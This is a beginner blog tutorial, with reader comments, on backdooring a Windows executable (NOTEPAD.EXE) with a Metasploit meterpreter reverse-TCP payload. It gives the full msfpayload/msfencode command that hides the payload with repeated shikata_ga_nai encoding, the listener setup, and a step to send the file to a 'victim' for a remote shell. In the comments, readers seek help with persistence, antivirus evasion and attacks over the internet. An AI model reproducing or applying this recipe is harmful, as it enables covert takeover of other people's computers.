X

Sorry :(

Our Image server is on a maintenance now,
You will not see the image correctly
please check back shortly. . .

Create EXE Backdoor Using Metasploit and Backtrack 5 in 4 simple steps

Create EXE Backdoor Using Metasploit and Backtrack 5 in 4 simple steps

Type : Tutorial

Level : Beginner, Medium, Advanced

Have you imagine when you click and open your notepad application it contain backdoor or malicious codes? or when you start your windows o.s it also start explorer.exe services, but this explorer.exe containing backdoor or malicious codes? Actually embedding backdoor into EXE files isn't something hard to do, but it's very easy.. you can follow the tutorial below to prove that I'm true it's easy :p LoL :-)

Requirement :

1. Metasploit Framework 3 (or Metasploit v2)

2. Linux OS(or you can use backtrack 5 that already include metasploit framework inside the Operating System)

Step By Step :

1. First of all you should prepare your target EXE file. In this case I will use NOTEPAD.EXE.

2. Next, we use msfpayload to inject a meterpreter reverse payload into our executable(NOTEPAD.EXE) and encoded it 5 times(5 iterations) using shikata_ga_nai and save the backdoored file into Desktop.

root@bt:~# msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.8.92 LPORT=443 R | msfencode -e x86/shikata_ga_nai -c 5 -t exe -x /root/Desktop/NOTEPAD.EXE -o /root/Desktop/NOTEPAD2.EXE

Create EXE Backdoor using metasploit and backtrack 5

3. Because we selected reverse meterpreter payload, we need to setup the exploit handler to handle the connection back to our attacking machine. In this case attacker use IP address 192.168.8.92.

Go to Metasploit console by typing msfconsole, and then run :

msf > use exploit/multi/handler 
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp 
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.8.92
LHOST => 192.168.8.92
msf exploit(handler) > set LPORT 443
LPORT => 443
msf exploit(handler) > exploit

Don't forget to change LHOST with your own IP address and LPORT with your desired local port.

Create exe backdoor using metasploit and backtrack 5

4. The next step we can send our special NOTEPAD.EXE files to victim, as soon as they download and open it, there's meterpreter shell on victim computer :

create exe backdoor using metasploit and backtrack 5

PWNED :-)

You also can learn how to implement this method to attack over the internet, but please read my previous tutorial about the logic how to attack network outside LAN / Attack WAN.

Hope it's useful for you. any comment or correction?please drop your comment below :-)

Vishnu Valentino

Computer Security, Blogger

Nothing Secure...

BANDUNG - INDONESIA

CHANGCHUN - CHINA


bookmark bookmark bookmark bookmark bookmark bookmark bookmark bookmark bookmark bookmark bookmark bookmark
tabs-top

21 Comments »

  1. tarish Says:

    i cannot make it…my result is look like this
    root@bt:~# msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=443 R | msfencode -e x86/shikata_ga_nai -c 5 -t exe -x /root/Desktop/NOTEPAD.EXE -o /root/Desktop/NOTEPAD2.EXE
    [*] x86/shikata_ga_nai succeeded with size 317 (iteration=1)

    [*] x86/shikata_ga_nai succeeded with size 344 (iteration=2)

    [*] x86/shikata_ga_nai succeeded with size 371 (iteration=3)

    [*] x86/shikata_ga_nai succeeded with size 398 (iteration=4)

    [*] x86/shikata_ga_nai succeeded with size 425 (iteration=5)

    [-] x86/shikata_ga_nai failed: No such file or directory – /root/Desktop/NOTEPAD.EXE
    [-] No encoders succeeded.

     
     
     

    comment-bottom
  2. v4L Says:

    #Tarish
    did you already put the original NOTEPAD.EXE in your desktop?

    comment-bottom
  3. tarish Says:

    thanks..now its working fine..

    Can you explain how to hack a remote pc with metasploit or SET cause i never hack a remote pc although installing a backdoor  my backtrack 5 machine wouldnot get any incoming connection from remote machine.i am using vmware workstation..please explain this matter..

    waiting for your better tutorial…thanks..

     

    comment-bottom
  4. v4L Says:

    #tarish
    I wrote tons of that kind of content on my blog…. Tutorial section

    comment-bottom
  5. mehdi Says:

    can i open the victim computer again after i shutdown without sending him anything

    comment-bottom
  6. Anonymous Says:

    Asswhole, fucking scams!!!!
    THIS CONNECTS TO HIS IP!! AND THEN LET'S HIM ACCESS YOUR PC! I AM GONNA SCREW UP YOUR IP!! ASSWHOLE AND THIS SITE IS GOING DOWN!!!

    comment-bottom
  7. tester Says:

    ^
    above poster is so lame
    on the other note, notepad2.exe just dies when i try to open it on victim(test) windows "program stopped working"  do you know why?

    comment-bottom
  8. v4L Says:

    #tester
    Yep just ignore it :D maybe he just start learn about computer security :-)
    are you using Windows 7 as your victim? if so, maybe the win 7 DEP and ASLR prevent it from working. you can try in windows xp

    comment-bottom
  9. alpha Says:

    hey i managed to exploit my xp computer! i want to try it on Win7 computer (x64)… is it possible? any help any idea plzz

    comment-bottom
  10. v4L Says:

    #alpha
    I haven’t try it on Win7 x64, but maybe it has different infrastructure with x86…

    comment-bottom
  11. alpha Says:

    hey thanx for a quick reply!
    have done it on win 7 32 bit (x86)? does it work on it or does it simply refuses to work on win7? what do you think about vista?

    comment-bottom
  12. v4L Says:

    #alpha
    No it can’t on Windows 7, it has DEP to prevent exploit execution..it works on Windows XP

    comment-bottom
  13. Unknown Says:

     
    i realized that session dies after victim closes our backdoor file in this case Notepad,
    and victim's AV Norton360 shows an alert that this file is not safe to run,
    any ways to solve those problems ?
    and i couldnt use your provided code i'm facing no encoder found and blah blah errors with that
    i use this which i found on some blogs:
    msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.4 LPORT=5610 R | /pentest/exploits/framework3/msfencode -t exe -x /root/Desktop/notepad.exe -k -o /root/Desktop/calc_backdoor.exe -e x86/shikata_ga_nai -c 5
     
    Any Guids ? solutions ?

    comment-bottom
  14. Unknown Says:

    oh i forget, thanks in advance :x Awesome blog and articles mate , keep it up

    comment-bottom
  15. DeusIgni Says:

    When the exploit is ran it displays “Handler failed to bind to (ip address)”. Why is that?
    -DeusIgni

    comment-bottom
  16. DeusIgni Says:

    Also, when flashdrive containing NOTEPAD2.EXE is opened on target, the system deletes it due to the fact that is has been found as a trojan virus. Is there anyway possible to overcome this without turning off the antivirus or having the target download the file? -DeusIgni

    comment-bottom
  17. v4L Says:

    #Deuslgni
    Yep that’s true it’s detected by antivirus…but my purpose here was the logic about how to create a backdoor…

    comment-bottom
  18. DeusIgni Says:

    Which was very astute tutorial, thank you for that.
    -DeusIgni

    comment-bottom

RSS feed for comments on this post. TrackBack URL

Leave a comment

*

Notify me of followup comments via e-mail. You can also subscribe without commenting.